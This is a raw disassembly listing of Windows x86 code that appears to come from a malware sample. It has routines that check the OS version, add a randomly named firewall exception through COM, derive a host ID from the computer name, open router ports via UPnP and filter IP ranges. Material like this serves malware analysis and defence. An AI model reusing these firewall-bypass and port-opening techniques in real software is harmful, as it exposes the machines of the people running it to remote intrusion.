mov [ebp+var_20], esi
mov ecx, [eax]
push eax
call dword ptr [ecx+30h]
test byte ptr [ebp+var_20+1], 4
jz loc_9A8BD1
mov eax, [ebp+var_10]
lea edx, [ebp+var_18]
push edx
mov [ebp+var_18], esi
mov ecx, [eax]
push eax
call dword ptr [ecx+2Ch]
cmp [ebp+var_18], 8
jz short loc_9A8BD1
cmp [ebp+var_18], 9
jz short loc_9A8BD1
mov eax, [ebx]
lea ecx, [ebp+var_C]
push ecx
push [ebp+var_4]
mov [ebp+var_C], esi
push ebx
call dword ptr [eax+28h]
mov eax, [ebp+var_C]
cmp eax, esi
jz short loc_9A8BD1
lea edx, [ebp+var_24]
push edx
mov [ebp+var_24], esi
mov ecx, [eax]
push eax
call dword ptr [ecx+2Ch]
cmp word ptr [ebp+var_24], si
jz short loc_9A8BC8
lea eax, [ebp+ThreadId]
push eax ; lpThreadId
push esi ; dwCreationFlags
call GetCurrentThreadId
push eax ; lpParameter
push offset sub_9A8A37 ; lpStartAddress
push esi ; dwStackSize
push esi ; lpThreadAttributes
call CreateThread
push 64h ; dwMilliseconds
mov edi, eax
call Sleep
mov eax, [ebp+var_C]
mov ecx, [eax]
push eax
call dword ptr [ecx+30h]
push esi ; dwExitCode
push edi ; hThread
call TerminateThread
push edi ; hObject
call CloseHandle
loc_9A8BC8: ; CODE XREF: sub_9A8A72+119j
mov eax, [ebp+var_C]
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_9A8BD1: ; CODE XREF: sub_9A8A72+CFj
; sub_9A8A72+E9j ...
mov eax, [ebp+var_10]
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_9A8BDA: ; CODE XREF: sub_9A8A72+B8j
mov eax, [ebp+var_4]
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_9A8BE3: ; CODE XREF: sub_9A8A72+80j
; sub_9A8A72+9Dj
lea eax, [ebp+pvarg]
push eax ; pvarg
call VariantClear
mov eax, [ebp+var_8]
mov ecx, [eax]
push esi
lea edx, [ebp+pvarg]
push edx
push 1
push eax
call dword ptr [ecx+0Ch]
test eax, eax
jz loc_9A8AED
pop edi
loc_9A8C06: ; CODE XREF: sub_9A8A72+74j
mov eax, [ebp+var_8]
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_9A8C0F: ; CODE XREF: sub_9A8A72+52j
mov eax, [ebp+var_1C]
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_9A8C18: ; CODE XREF: sub_9A8A72+1Bj
pop esi
leave
retn
sub_9A8A72 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; DWORD __stdcall sub_9A8C1B(LPVOID)
sub_9A8C1B proc near ; DATA XREF: sub_9A8CAF+50o
var_24 = dword ptr -24h
var_20 = dword ptr -20h
ppv = dword ptr -1Ch
ms_exc = CPPEH_RECORD ptr -18h
push 14h
push offset stru_9A2FC8
call __SEH_prolog
push 6 ; dwCoInit
xor esi, esi
push esi ; pvReserved
call CoInitializeEx
mov [ebp+var_20], eax
cmp eax, 80010106h
jz short loc_9A8C40
cmp eax, esi
jl short loc_9A8C9A
loc_9A8C40: ; CODE XREF: sub_9A8C1B+1Fj
push esi ; pReserved3
push esi ; dwCapabilities
push esi ; pAuthList
push 3 ; dwImpLevel
push 4 ; dwAuthnLevel
push esi ; pReserved1
push esi ; asAuthSvc
push 0FFFFFFFFh ; cAuthSvc
push esi ; pSecDesc
call CoInitializeSecurity
mov [ebp+ms_exc.disabled], esi
mov [ebp+ppv], esi
lea eax, [ebp+ppv]
push eax ; ppv
push offset riid ; riid
push 17h ; dwClsContext
push esi ; pUnkOuter
push offset rclsid ; rclsid
call CoCreateInstance
mov [ebp+var_24], eax
mov ebx, [ebp+ppv]
cmp ebx, esi
jz short loc_9A8C87
call sub_9A8A72
mov eax, [ebp+ppv]
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_9A8C87: ; CODE XREF: sub_9A8C1B+5Cj
or [ebp+ms_exc.disabled], 0FFFFFFFFh
jmp short loc_9A8C9A
; ---------------------------------------------------------------------------
loc_9A8C8D: ; DATA XREF: .text:stru_9A2FC8o
xor eax, eax
inc eax
retn
; ---------------------------------------------------------------------------
loc_9A8C91: ; DATA XREF: .text:stru_9A2FC8o
mov esp, [ebp+ms_exc.old_esp]
or [ebp+ms_exc.disabled], 0FFFFFFFFh
xor esi, esi
loc_9A8C9A: ; CODE XREF: sub_9A8C1B+23j
; sub_9A8C1B+70j
cmp [ebp+var_20], esi
jl short loc_9A8CA5
call CoUninitialize
loc_9A8CA5: ; CODE XREF: sub_9A8C1B+82j
xor eax, eax
call __SEH_epilog
retn 4
sub_9A8C1B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame fpd=78h
sub_9A8CAF proc near ; CODE XREF: sub_9AEA12+6Bp
VersionInformation= _OSVERSIONINFOA ptr -0A0h
var_C = word ptr -0Ch
ThreadId = dword ptr -4
push ebp
lea ebp, [esp-78h]
sub esp, 0A0h
push edi
push 26h
pop ecx
xor eax, eax
mov [ebp+78h+VersionInformation.dwOSVersionInfoSize], 9Ch
lea edi, [ebp+78h+VersionInformation.dwMajorVersion]
rep stosd
lea eax, [ebp+78h+VersionInformation]
push eax ; lpVersionInformation
call GetVersionExA
cmp [ebp+78h+VersionInformation.dwMajorVersion], 5
jnz short loc_9A8D31
cmp [ebp+78h+VersionInformation.dwMinorVersion], 1
jnz short loc_9A8CE9
cmp [ebp+78h+var_C], 2
jb short loc_9A8CF6
loc_9A8CE9: ; CODE XREF: sub_9A8CAF+31j
cmp [ebp+78h+VersionInformation.dwMinorVersion], 2
jnz short loc_9A8D31
cmp [ebp+78h+var_C], 1
jnb short loc_9A8D31
loc_9A8CF6: ; CODE XREF: sub_9A8CAF+38j
push esi
lea eax, [ebp+78h+ThreadId]
push eax ; lpThreadId
xor esi, esi
push esi ; dwCreationFlags
push esi ; lpParameter
push offset sub_9A8C1B ; lpStartAddress
push esi ; dwStackSize
push esi ; lpThreadAttributes
call CreateThread
mov edi, eax
push 3A98h ; dwMilliseconds
push edi ; hHandle
call WaitForSingleObject
cmp eax, 102h
jnz short loc_9A8D29
push esi ; dwExitCode
push edi ; hThread
call TerminateThread
loc_9A8D29: ; CODE XREF: sub_9A8CAF+70j
push edi ; hObject
call CloseHandle
pop esi
loc_9A8D31: ; CODE XREF: sub_9A8CAF+2Bj
; sub_9A8CAF+3Ej ...
pop edi
add ebp, 78h
leave
retn
sub_9A8CAF endp
; =============== S U B R O U T I N E =======================================
; int __cdecl sub_9A8D37(char *lpFirst)
sub_9A8D37 proc near ; CODE XREF: sub_9A9E22+1Cp
; sub_9A9E95+64p ...
lpFirst = dword ptr 4
push ebx
mov ebx, [esp+4+lpFirst]
push ebp
push edi
push 2Eh ; Ch
push ebx ; Str
xor ebp, ebp
call strrchr
mov edi, eax
test edi, edi
pop ecx
pop ecx
jz short loc_9A8DAE
push esi
xor esi, esi
loc_9A8D54: ; CODE XREF: sub_9A8D37+37j
push ds:off_9B93F8[esi] ; lpSrch
push ebx ; lpFirst
call StrStrIA
test eax, eax
jnz short loc_9A8DAA
add esi, 4
cmp esi, 0D0h
jb short loc_9A8D54
jmp short loc_9A8D7C
; ---------------------------------------------------------------------------
loc_9A8D72: ; CODE XREF: sub_9A8D37+47j
lea eax, [edi-1]
cmp byte ptr [eax], 2Eh
jz short loc_9A8D80
mov edi, eax
loc_9A8D7C: ; CODE XREF: sub_9A8D37+39j
cmp edi, ebx
ja short loc_9A8D72
loc_9A8D80: ; CODE XREF: sub_9A8D37+41j
xor ebx, ebx
loc_9A8D82: ; CODE XREF: sub_9A8D37+6Fj
lea esi, off_9B94C8[ebx]
push dword ptr [esi] ; Str
call strlen
push eax ; MaxCount
push dword ptr [esi] ; Str
push edi ; Str1
call _strnicmp
add esp, 10h
test eax, eax
jz short loc_9A8DAA
add ebx, 4
cmp ebx, 20h
jb short loc_9A8D82
jmp short loc_9A8DAD
; ---------------------------------------------------------------------------
loc_9A8DAA: ; CODE XREF: sub_9A8D37+2Cj
; sub_9A8D37+67j
xor ebp, ebp
inc ebp
loc_9A8DAD: ; CODE XREF: sub_9A8D37+71j
pop esi
loc_9A8DAE: ; CODE XREF: sub_9A8D37+18j
pop edi
mov eax, ebp
pop ebp
pop ebx
retn
sub_9A8D37 endp
; =============== S U B R O U T I N E =======================================
; int __cdecl sub_9A8DB4(u_long netlong)
sub_9A8DB4 proc near ; CODE XREF: sub_9A9BBC+42p
; sub_9AE6A2+14Bp
netlong = dword ptr 4
push esi
push [esp+4+netlong]
xor esi, esi
call sub_9AB389
test eax, eax
pop ecx
jz short loc_9A8DF1
push [esp+4+netlong] ; netlong
call __imp_ntohl_0
xor ecx, ecx
loc_9A8DD1: ; CODE XREF: sub_9A8DB4+36j
cmp eax, ds:dword_9A2FD8[ecx]
jb short loc_9A8DE1
cmp eax, ds:dword_9A2FDC[ecx]
jbe short loc_9A8DEE
loc_9A8DE1: ; CODE XREF: sub_9A8DB4+23j
add ecx, 8
cmp ecx, 0C60h
jb short loc_9A8DD1
jmp short loc_9A8DF1
; ---------------------------------------------------------------------------
loc_9A8DEE: ; CODE XREF: sub_9A8DB4+2Bj
xor esi, esi
inc esi
loc_9A8DF1: ; CODE XREF: sub_9A8DB4+Fj
; sub_9A8DB4+38j
mov eax, esi
pop esi
retn
sub_9A8DB4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_9A8DF5 proc near ; CODE XREF: sub_9A8FED+28p
ppv = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
push ecx
and [ebp+ppv], 0
and [ebp+var_4], 0
and dword ptr [edi], 0
push esi
lea eax, [ebp+ppv]
push eax ; ppv
push offset stru_9A3E9C ; riid
push 1 ; dwClsContext
push 0 ; pUnkOuter
push offset stru_9A3E8C ; rclsid
call CoCreateInstance
mov esi, eax
test esi, esi
jl short loc_9A8E43
mov eax, [ebp+ppv]
mov ecx, [eax]
lea edx, [ebp+var_4]
push edx
push eax
call dword ptr [ecx+1Ch]
mov esi, eax
test esi, esi
jl short loc_9A8E43
mov eax, [ebp+var_4]
mov ecx, [eax]
push edi
push eax
call dword ptr [ecx+1Ch]
mov esi, eax
loc_9A8E43: ; CODE XREF: sub_9A8DF5+2Dj
; sub_9A8DF5+40j
mov eax, [ebp+var_4]
test eax, eax
jz short loc_9A8E50
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_9A8E50: ; CODE XREF: sub_9A8DF5+53j
mov eax, [ebp+ppv]
test eax, eax
jz short loc_9A8E5D
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_9A8E5D: ; CODE XREF: sub_9A8DF5+60j
mov eax, esi
pop esi
leave
retn
sub_9A8DF5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_9A8E62 proc near ; CODE XREF: sub_9A8EDE+3Cp
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = word ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 0Ch
and dword ptr [esi], 0
mov ecx, [eax]
and [ebp+var_8], 0
and [ebp+var_C], 0
push ebx
lea edx, [ebp+var_C]
push edx
push eax
call dword ptr [ecx+48h]
mov ebx, eax
test ebx, ebx
jl short loc_9A8EBF
mov eax, [ebp+var_C]
mov ecx, [eax]
lea edx, [ebp+var_8]
push edx
push [ebp+arg_4]
push [ebp+arg_0]
push eax
call dword ptr [ecx+28h]
test eax, eax
jl short loc_9A8EBD
mov eax, [ebp+var_8]
mov ecx, [eax]
lea edx, [ebp+var_4]
push edx
push eax
call dword ptr [ecx+4Ch]
mov ebx, eax
test ebx, ebx
jl short loc_9A8EBF
cmp [ebp+var_4], 0
jz short loc_9A8EBF
mov dword ptr [esi], 1
jmp short loc_9A8EBF
; ---------------------------------------------------------------------------
loc_9A8EBD: ; CODE XREF: sub_9A8E62+37j
xor ebx, ebx
loc_9A8EBF: ; CODE XREF: sub_9A8E62+20j
; sub_9A8E62+4Aj ...
mov eax, [ebp+var_8]
test eax, eax
jz short loc_9A8ECC
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_9A8ECC: ; CODE XREF: sub_9A8E62+62j
mov eax, [ebp+var_C]
test eax, eax
jz short loc_9A8ED9
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_9A8ED9: ; CODE XREF: sub_9A8E62+6Fj
mov eax, ebx
pop ebx
leave
retn
sub_9A8E62 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_9A8EDE(int, int, OLECHAR *psz)
sub_9A8EDE proc near ; CODE XREF: sub_9A8FED+59p
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
ppv = dword ptr -8
var_4 = word ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
psz = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 14h
push ebx
push esi
push edi
lea ecx, [ebp+var_4]
mov edi, eax
mov eax, [edi]
xor ebx, ebx
push ecx
push edi
mov [ebp+var_14], ebx
mov [ebp+ppv], ebx
mov [ebp+var_C], ebx
call dword ptr [eax+28h]
test eax, eax
jl short loc_9A8F0F
cmp [ebp+var_4], bx
jz short loc_9A8F0F
mov eax, [edi]
push ebx
push edi
call dword ptr [eax+2Ch]
loc_9A8F0F: ; CODE XREF: sub_9A8EDE+22j
; sub_9A8EDE+28j
push [ebp+arg_4]
lea esi, [ebp+var_10]
push [ebp+arg_0]
mov eax, edi
call sub_9A8E62
mov esi, eax
cmp esi, ebx
pop ecx
pop ecx
jl loc_9A8FC2
cmp [ebp+var_10], ebx
jnz loc_9A8FC2
mov eax, [edi]
lea ecx, [ebp+var_C]
push ecx
push edi
call dword ptr [eax+48h]
mov esi, eax
cmp esi, ebx
jl short loc_9A8FC2
lea eax, [ebp+ppv]
push eax ; ppv
push offset stru_9A3EBC ; riid
push 1 ; dwClsContext
push ebx ; pUnkOuter
push offset stru_9A3EAC ; rclsid
call CoCreateInstance
mov esi, eax
cmp esi, ebx
jl short loc_9A8FC2
mov eax, [ebp+ppv]
push [ebp+arg_0]
mov ecx, [eax]
push eax
call dword ptr [ecx+38h]
mov esi, eax
cmp esi, ebx
jl short loc_9A8FC2
mov eax, [ebp+ppv]
push [ebp+arg_4]
mov ecx, [eax]
push eax
call dword ptr [ecx+30h]
mov esi, eax
cmp esi, ebx
jl short loc_9A8FC2
push [ebp+psz] ; psz
call SysAllocString
mov edi, eax
push edi ; BSTR
call SysStringLen
test eax, eax
jnz short loc_9A8FA2
mov esi, 8007000Eh
jmp short loc_9A8FC5
; ---------------------------------------------------------------------------
loc_9A8FA2: ; CODE XREF: sub_9A8EDE+BBj
mov eax, [ebp+ppv]
mov ecx, [eax]
push edi
push eax
call dword ptr [ecx+20h]
mov esi, eax
cmp esi, ebx
jl short loc_9A8FC5
mov eax, [ebp+var_C]
push [ebp+ppv]
mov ecx, [eax]
push eax
call dword ptr [ecx+20h]
mov esi, eax
jmp short loc_9A8FC5
; ---------------------------------------------------------------------------
loc_9A8FC2: ; CODE XREF: sub_9A8EDE+47j
; sub_9A8EDE+50j ...
mov edi, [ebp+var_14]
loc_9A8FC5: ; CODE XREF: sub_9A8EDE+C2j
; sub_9A8EDE+D2j ...
push edi ; bstrString
call SysFreeString
mov eax, [ebp+ppv]
cmp eax, ebx
jz short loc_9A8FD9
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_9A8FD9: ; CODE XREF: sub_9A8EDE+F3j
mov eax, [ebp+var_C]
cmp eax, ebx
jz short loc_9A8FE6
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_9A8FE6: ; CODE XREF: sub_9A8EDE+100j
pop edi
mov eax, esi
pop esi
pop ebx
leave
retn
sub_9A8EDE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_9A8FED proc near ; CODE XREF: sub_9AEA12+59p
psz = word ptr -18h
var_4 = dword ptr -4
arg_0 = word ptr 8
push ebp
mov ebp, esp
sub esp, 18h
push ebx
push esi
xor ebx, ebx
push 6 ; dwCoInit
push ebx ; pvReserved
mov [ebp+var_4], ebx
call CoInitializeEx
mov esi, eax
cmp esi, 80010106h
jz short loc_9A9011
cmp esi, ebx
jl short loc_9A9055
loc_9A9011: ; CODE XREF: sub_9A8FED+1Ej
push edi
lea edi, [ebp+var_4]
call sub_9A8DF5
test eax, eax
pop edi
jl short loc_9A9055
call rand
push 4
cdq
pop ecx
idiv ecx
lea eax, [ebp+psz]
add edx, 5
push edx
push eax
call sub_9AB677
lea eax, [ebp+psz]
push eax ; psz
movzx eax, [ebp+arg_0]
push 6 ; int
push eax ; int
mov eax, [ebp+var_4]
call sub_9A8EDE
add esp, 14h
test eax, eax
jl short loc_9A9055
xor ebx, ebx
inc ebx
loc_9A9055: ; CODE XREF: sub_9A8FED+22j
; sub_9A8FED+30j ...
mov eax, [ebp+var_4]
test eax, eax
jz short loc_9A9062
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_9A9062: ; CODE XREF: sub_9A8FED+6Dj
test esi, esi
jl short loc_9A906C
call CoUninitialize
loc_9A906C: ; CODE XREF: sub_9A8FED+77j
pop esi
mov eax, ebx
pop ebx
leave
retn
sub_9A8FED endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_9A9072 proc near ; CODE XREF: sub_9A932E+69p
Str = byte ptr -104h
var_103 = byte ptr -103h
nSize = dword ptr -4
Dest = dword ptr 8
push ebp
mov ebp, esp
sub esp, 104h
push esi
push edi
push 3Fh
pop ecx
xor eax, eax
mov [ebp+Str], 0
lea edi, [ebp+var_103]
rep stosd
stosw
stosb
mov esi, 100h
push esi ; namelen
lea eax, [ebp+Str]
push eax ; name
call gethostname
cmp eax, 0FFFFFFFFh
jnz short loc_9A90C0
lea eax, [ebp+nSize]
push eax ; nSize
lea eax, [ebp+Str]
push eax ; lpBuffer
mov [ebp+nSize], esi
call GetComputerNameA
loc_9A90C0: ; CODE XREF: sub_9A9072+38j
call sub_9AB343
push eax
lea eax, [ebp+Str]
push eax ; Str
call strlen
push eax
lea eax, [ebp+Str]
push eax
call sub_9A8245
mov esi, [ebp+Dest]
add esp, 0Ch
push eax
push offset a08x08x ; "%08x%08x"
push ebx ; Count
push esi ; Dest
call _snprintf
add esp, 14h
pop edi
mov byte ptr [esi+ebx-1], 0
pop esi
leave
retn
sub_9A9072 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_9A90FF(int, void *Count, int netshort, struct in_addr in)
sub_9A90FF proc near ; CODE XREF: sub_9A9289+45p
; sub_9A932E+52p
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
Memory = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
ms_exc = CPPEH_RECORD ptr -18h
arg_0 = dword ptr 8
Count = dword ptr 0Ch
netshort = dword ptr 10h
in = in_addr ptr 14h
push 20h
push offset stru_9A3ED8
call __SEH_prolog
mov eax, dword ptr [ebp+in.S_un]
xor esi, esi
mov [ebp+var_1C], esi
mov [ebp+ms_exc.disabled], esi
mov [ebp+var_28], eax
cmp eax, esi
jz short loc_9A912E
push eax ; in
call inet_ntoa
push eax ; Src
call _strdup
pop ecx
jmp short loc_9A9130
; ---------------------------------------------------------------------------
loc_9A912E: ; CODE XREF: sub_9A90FF+1Cj
xor eax, eax
loc_9A9130: ; CODE XREF: sub_9A90FF+2Dj
mov [ebp+Memory], eax
push esi ; int
push esi ; int
push eax ; cp
push 7D0h ; int
call sub_9B4EE4
add esp, 10h
mov [ebp+var_2C], eax
cmp eax, esi
jz short loc_9A9179
mov ecx, eax
loc_9A914C: ; CODE XREF: sub_9A90FF+56j
mov [ebp+var_20], ecx
cmp ecx, esi
jz short loc_9A9157
mov ecx, [ecx]
jmp short loc_9A914C
; ---------------------------------------------------------------------------
loc_9A9157: ; CODE XREF: sub_9A90FF+52j
push 10h ; int
push [ebp+netshort] ; netshort
push [ebp+Count] ; Count
push [ebp+arg_0] ; int
push eax ; int
call sub_9B4B6B
add esp, 14h
mov [ebp+var_30], eax
cmp eax, esi
jz short loc_9A9179
mov [ebp+var_1C], 1
loc_9A9179: ; CODE XREF: sub_9A90FF+49j
; sub_9A90FF+71j
push [ebp+Memory] ; Memory
call free
pop ecx
jmp short loc_9A918C
; ---------------------------------------------------------------------------
loc_9A9185: ; DATA XREF: .text:stru_9A3ED8o
xor eax, eax
inc eax
retn
; ---------------------------------------------------------------------------
loc_9A9189: ; DATA XREF: .text:stru_9A3ED8o
mov esp, [ebp+ms_exc.old_esp]
loc_9A918C: ; CODE XREF: sub_9A90FF+84j
or [ebp+ms_exc.disabled], 0FFFFFFFFh
mov eax, [ebp+var_1C]
call __SEH_epilog
retn
sub_9A90FF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_9A9199(int, char *Str2)
sub_9A9199 proc near ; CODE XREF: sub_9A932E+7Cp
Dest = byte ptr -0F8h
Str1 = byte ptr -0B8h
var_68 = dword ptr -68h
var_58 = dword ptr -58h
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_3C = dword ptr -3Ch
Memory = byte ptr -34h
var_2F = byte ptr -2Fh
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
ms_exc = CPPEH_RECORD ptr -18h
arg_0 = dword ptr 8
Str2 = dword ptr 0Ch
push 0E8h
push offset stru_9A3EF0
call __SEH_prolog
mov edi, ecx
xor ebx, ebx
mov [ebp+ms_exc.disabled], ebx
mov [ebp+var_1C], ebx
loc_9A91B2: ; CODE XREF: sub_9A9199+D7j
push [ebp+var_1C]
push offset aD ; "%d"
push 6 ; Count
lea eax, [ebp+Memory]
push eax ; Dest
call _snprintf
mov [ebp+var_2F], bl
mov [ebp+Dest], bl
mov byte ptr [ebp+var_44], bl
mov byte ptr [ebp+var_58], bl
mov [ebp+Str1], bl
mov byte ptr [ebp+var_28], bl
mov byte ptr [ebp+var_3C], bl
mov byte ptr [ebp+var_68], bl
mov esi, [ebp+arg_0]
add esi, 484h
lea eax, [ebp+var_58]
push eax ; int
lea eax, [ebp+Dest]
push eax ; Dest
lea eax, [ebp+var_44]
push eax ; int
lea eax, [ebp+Str1]
push eax ; int
lea eax, [ebp+var_20]
push eax ; int
lea eax, [ebp+var_3C]
push eax ; int
lea eax, [ebp+var_68]
push eax ; int
lea eax, [ebp+var_28]
push eax ; int
lea eax, [ebp+Memory]
push eax ; Memory
push esi ; int
push dword ptr [edi] ; Str
call sub_9B5636
add esp, 3Ch
mov [ebp+var_2C], eax
cmp eax, ebx
jnz short loc_9A926A
push [ebp+Str2] ; Str2
lea eax, [ebp+Str1]
push eax ; Str1
call _stricmp
pop ecx
pop ecx
test eax, eax
jnz short loc_9A926A
push offset aTcp ; "TCP"
lea eax, [ebp+var_20]
push eax ; Str1
call _stricmp
pop ecx
pop ecx
test eax, eax
jnz short loc_9A926A
lea eax, [ebp+var_20]
push eax ; int
lea eax, [ebp+var_28]
push eax ; int
push esi ; int
push dword ptr [edi] ; Str
call sub_9B5561
add esp, 10h
mov [ebp+var_48], eax
loc_9A926A: ; CODE XREF: sub_9A9199+8Ej
; sub_9A9199+A4j ...
inc [ebp+var_1C]
cmp [ebp+var_2C], ebx
jz loc_9A91B2
jmp short loc_9A927F
; ---------------------------------------------------------------------------
loc_9A9278: ; DATA XREF: .text:stru_9A3EF0o
xor eax, eax
inc eax
retn
; ---------------------------------------------------------------------------
loc_9A927C: ; DATA XREF: .text:stru_9A3EF0o
mov esp, [ebp+ms_exc.old_esp]
loc_9A927F: ; CODE XREF: sub_9A9199+DDj
or [ebp+ms_exc.disabled], 0FFFFFFFFh
call __SEH_epilog
retn
sub_9A9199 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_9A9289(int, int, struct in_addr in)
sub_9A9289 proc near ; CODE XREF: sub_9ACABE+115p
Count = byte ptr -74Ch
var_2C8 = dword ptr -2C8h
Str = dword ptr -48h
netshort = byte ptr -3Ch
var_3B = byte ptr -3Bh
Dest = byte ptr -2Ch
var_2B = byte ptr -2Bh
var_1C = dword ptr -1Ch
ms_exc = CPPEH_RECORD ptr -18h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
in = in_addr ptr 10h
push 73Ch
push offset stru_9A3F00
call __SEH_prolog
xor ebx, ebx
mov [ebp+var_1C], ebx
mov [ebp+ms_exc.disabled], ebx
mov [ebp+netshort], bl
xor eax, eax
lea edi, [ebp+var_3B]
stosd
stosd
stosd
stosw
stosb
mov [ebp+Dest], bl
xor eax, eax
lea edi, [ebp+var_2B]
stosd
stosd
stosd
stosw
stosb
push dword ptr [ebp+in.S_un] ; in
lea eax, [ebp+netshort]
push eax ; netshort
lea eax, [ebp+Count]
push eax ; Count
lea eax, [ebp+Str]
push eax ; int
call sub_9A90FF
add esp, 10h
test eax, eax
jz short loc_9A9321
lea eax, [ebp+Dest]
push eax ; Dest
lea eax, [ebp+var_2C8]
push eax ; int
push [ebp+Str] ; Str
call sub_9B5353
add esp, 0Ch
cmp [ebp+Dest], bl
jz short loc_9A9321
lea eax, [ebp+netshort]
push eax ; cp
mov esi, __imp_inet_addr
call esi ; __imp_inet_addr
mov ecx, [ebp+arg_0]
mov [ecx], eax
lea eax, [ebp+Dest]
push eax ; cp
call esi ; __imp_inet_addr
mov ecx, [ebp+arg_4]
mov [ecx], eax
mov [ebp+var_1C], 1
jmp short loc_9A9321
; ---------------------------------------------------------------------------
loc_9A931A: ; DATA XREF: .text:stru_9A3F00o
xor eax, eax
inc eax
retn
; ---------------------------------------------------------------------------
loc_9A931E: ; DATA XREF: .text:stru_9A3F00o
mov esp, [ebp+ms_exc.old_esp]
loc_9A9321: ; CODE XREF: sub_9A9289+4Fj
; sub_9A9289+6Aj ...
or [ebp+ms_exc.disabled], 0FFFFFFFFh
mov eax, [ebp+var_1C]
call __SEH_epilog
retn
sub_9A9289 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_9A932E(__int16, int, struct in_addr in)
sub_9A932E proc near ; CODE XREF: sub_9ACABE+186p
Count = dword ptr -78Ch
var_308 = dword ptr -308h
var_88 = byte ptr -88h
Str2 = dword ptr -78h
var_58 = dword ptr -58h
netshort = dword ptr -50h
Str = dword ptr -40h
var_34 = dword ptr -34h
Dest = byte ptr -30h
var_2B = byte ptr -2Bh
var_28 = dword ptr -28h
var_23 = byte ptr -23h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
ms_exc = CPPEH_RECORD ptr -18h
arg_0 = word ptr 8
arg_4 = dword ptr 0Ch
in = in_addr ptr 10h
push 77Ch
push offset stru_9A3F10
call __SEH_prolog
xor ebx, ebx
mov [ebp+var_20], ebx
mov [ebp+ms_exc.disabled], ebx
mov byte ptr [ebp+netshort], bl
xor eax, eax
lea edi, [ebp+netshort+1]
stosd
stosd
stosd
stosw
stosb
movzx eax, [ebp+arg_0]
push eax
push offset aU ; "%u"
push 6 ; Count
lea eax, [ebp+Dest]
push eax ; Dest
mov edi, _snprintf
call edi ; _snprintf
mov [ebp+var_2B], bl
push dword ptr [ebp+in.S_un] ; in
lea eax, [ebp+netshort]
push eax ; netshort
lea eax, [ebp+Count]
push eax ; Count
lea eax, [ebp+Str]
push eax ; int
call sub_9A90FF
add esp, 20h
test eax, eax
jz loc_9A9464
lea eax, [ebp+Str2]
push eax
push 20h
pop ebx
call sub_9A9072
lea eax, [ebp+Str2]
push eax ; Str2
lea eax, [ebp+Count]
push eax ; int
lea ecx, [ebp+Str]
call sub_9A9199
add esp, 0Ch
mov esi, [ebp+arg_4]
mov word ptr [esi], 50h
and [ebp+var_1C], 0
mov ebx, offset aTcp ; "TCP"
loc_9A93C3: ; CODE XREF: sub_9A932E+121j
cmp [ebp+var_1C], 3
jge loc_9A9464
movzx eax, word ptr [esi]
push eax
push offset aU ; "%u"
push 6 ; Count
lea eax, [ebp+var_28]
push eax ; Dest
call edi ; _snprintf
mov [ebp+var_23], 0
push ebx ; int
lea eax, [ebp+Str2]
push eax ; int
lea eax, [ebp+netshort]
push eax ; int
lea eax, [ebp+Dest]
push eax ; int
lea eax, [ebp+var_28]
push eax ; int
lea eax, [ebp+var_308]
push eax ; int
push [ebp+Str] ; Str
call sub_9B542A
add esp, 2Ch
mov [ebp+var_34], eax
test eax, eax
jnz short loc_9A9435
lea eax, [ebp+var_58]
push eax ; int
lea eax, [ebp+var_88]
push eax ; Dest
push ebx ; int
lea eax, [ebp+var_28]
push eax ; int
lea eax, [ebp+var_308]
push eax ; int
push [ebp+Str] ; Str
call sub_9B5837
add esp, 18h
mov [ebp+var_34], eax
test eax, eax
jz short loc_9A9454
loc_9A9435: ; CODE XREF: sub_9A932E+DCj
call rand
cdq
mov ecx, 2310h
idiv ecx
add edx, 400h
mov [esi], dx
inc [ebp+var_1C]
jmp loc_9A93C3
; ---------------------------------------------------------------------------
loc_9A9454: ; CODE XREF: sub_9A932E+105j
mov [ebp+var_20], 1
jmp short loc_9A9464
; ---------------------------------------------------------------------------
loc_9A945D: ; DATA XREF: .text:stru_9A3F10o
xor eax, eax
inc eax
retn
; ---------------------------------------------------------------------------
loc_9A9461: ; DATA XREF: .text:stru_9A3F10o
mov esp, [ebp+ms_exc.old_esp]
loc_9A9464: ; CODE XREF: sub_9A932E+5Cj
; sub_9A932E+99j ...
or [ebp+ms_exc.disabled], 0FFFFFFFFh
mov eax, [ebp+var_20]
call __SEH_epilog
retn
sub_9A932E endp
